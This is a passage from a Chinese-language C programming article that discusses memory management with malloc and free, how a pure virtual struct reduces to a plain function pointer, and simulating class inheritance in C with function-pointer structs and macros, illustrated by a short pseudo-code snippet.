但是在Pc环境下，由于程序规模比较大，更重要的是一些特殊的要求，使得对象的生命周期必须延续到申请的那个函数体以外，就不得不使用malloc，实际上即使在C＋＋中，new对象的自动释放始终是一个令人头疼的问题，新的标准引入了智能指针。但是就我个人而言，我觉得将内存释放的问题完全的交给机器是不可信任的，它只能达到准最佳。

你知道设计Java的垃圾回收算法有多困难吗？现实世界是错综复杂的，在没有先验条件下，要想得到精确的结果及其困难。所以我说程序员要时刻将free记在心上，有关程序的健壮性和自我防御将在另外一篇文章中讲述。

3．纯虚结构的退化

下面我们来看看如果struct里面仅仅有一个函数是什么？ 这个时候如果我们不使用struct，仅仅使用函数指针又是什么？ 我们发现，这样就退化为普通的函数指针的使用了。

所以说，有的时候我觉得面向对象仅仅是一种形式，而不是一种技术。是一种观点，而不是一种算法。但是，正如炭，石墨和钻石的关系一样，虽然分子式都是C，但是组成方法不一样，表现就完全不一样了！

有的时候，我们经常被编程中琐碎的事情所烦恼，而偏离了重心，其实程序可进化的特性是很重要的。有可能，第一次是不成功的，但是只要可进化，就可以发展。

4．进阶――类结构树，父类不是纯虚类的类

前面仅仅讲的是父类是纯虚结构的情况 (面向对象建议的是所有类的基类都是从纯虚类开始的), 那么当类层次比较多的情况下，出现父类不是纯虚结构怎么办呢。嘿嘿，其实在C中的实现比C＋＋要简单多了。因为C中各个函数是分散的。

在这里使用宏定义是一个很好的办法：比如两个类Act1，ActByOther1"继承"Act1：

MyVirtualInterface* ActByOther1_CreatInterface()

{

index=FindValid() //对象池或者使用Malloc

if(index==-1) return NULL;

St[index].Foo1= ActByOther1_Foo1; // Act1_Foo1要在下面具体实现

St[index].Foo2= ActByOther1_Foo2;

St[index].Foo3= ActByOther1_Foo3;

Return &st [index];

}

＃define ActByOther1_Foo1 Act1_Foo1 //这就是继承 嘿嘿

ActByOther1_Foo2（）{} // 可以修改其实现

ActByOther1_DoByOther() {} //当然就可以添加新的实现咯

5．实例――可以参见H264的源码，其中NalTool就是这样的一个纯虚结构。